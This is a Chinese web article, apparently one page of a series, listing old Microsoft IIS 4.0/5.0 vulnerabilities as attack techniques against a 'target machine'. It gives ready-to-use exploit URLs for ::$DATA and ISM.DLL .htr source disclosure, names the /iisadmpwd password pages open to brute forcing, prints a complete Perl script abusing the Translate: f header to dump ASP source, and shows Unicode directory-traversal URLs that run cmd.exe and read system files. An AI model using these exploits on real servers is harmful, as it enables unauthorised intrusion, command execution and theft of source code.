服务器 频道

IIS常见攻击漏洞及技巧大全

    (9)、ASP Alternate Data Streams(::$DATA)

    $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。

    其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,

    要查看一些.asp文件的内容,你可以请求如下的URL:

    http://www.目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:

    http://focus.silversand.net/newsite/skill/ntfs.txt

    (10)、ISM.DLL 缓冲截断漏洞

    这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而. htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。

    http://www.目标机.com/global.asa%20%20(...《=230)global.asa.htr

    (11)、存在的一些暴力破解威胁.htr程序

    IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

    c:\winnt\system32\inetsrv\iisadmpwd

    Achg.htr

    Aexp.htr

    Aexp2.htr

    Aexp2b.htr

    Aexp3.htr

    Aexp4.htr

    Aexp4b.htr

    Anot.htr

    Anot3.htr

    这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。

    (12)、Translate:f Bug

    这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

    #############################

    use IO::Socket; #

    my ($port, $sock,$server); #

    $size=0; #

    #############################

    #

    $server="$ARGV[0]";

    $s="$server";

    $port="80";

    $cm="$ARGV[1]";

    &connect;

    sub connect {

    if ($#ARGV 《 1) {

    howto();

    exit;

    }

    $ver="GET /$cm%5C HTTP/1.0

    Host: $server

    Accept: */*

    Translate: f

    \n\n";

    my($iaddr,$paddr,$proto);

    $iaddr = inet_aton($server) die "Error: $!";

    $paddr = sockaddr_in($port, $iaddr) die "Error: $!";

    $proto = getprotobyname(“tcp“) die "Error: $!";

    socket(SOCK, PF_INET, SOCK_STREAM, $proto) die "Error:

    $!";

    connect(SOCK, $paddr) die "Error: $!";

    send(SOCK, $ver, 0) die "Can“t to send packet: $!";

    open(OUT, "》$server.txt");

    print "Dumping $cm to $server.txt \n";

    while(《SOCK》) {

    print OUT 《SOCK》;

    }

    sub howto {

    print "type as follows: Trans.pl http://www.目标机.com codetoview.asp \n\n";

    }

    close OUT;

    $n=0;

    $type=2;

    close(SOCK);

    exit(1);

    }

    你可以使用下面的方法来获得源代码:

    Trasn.pl http://www.目标机.com default.asp

    (13)、IIS存在的Unicode解析错误漏洞

    NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含 unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

    你可以使用下面的方法利用这个漏洞:

    (1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:

    http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

    (2) 利用这个漏洞查看系统文件内容也是可能的:

    http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

    这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,原因就是编码不同。

0
相关文章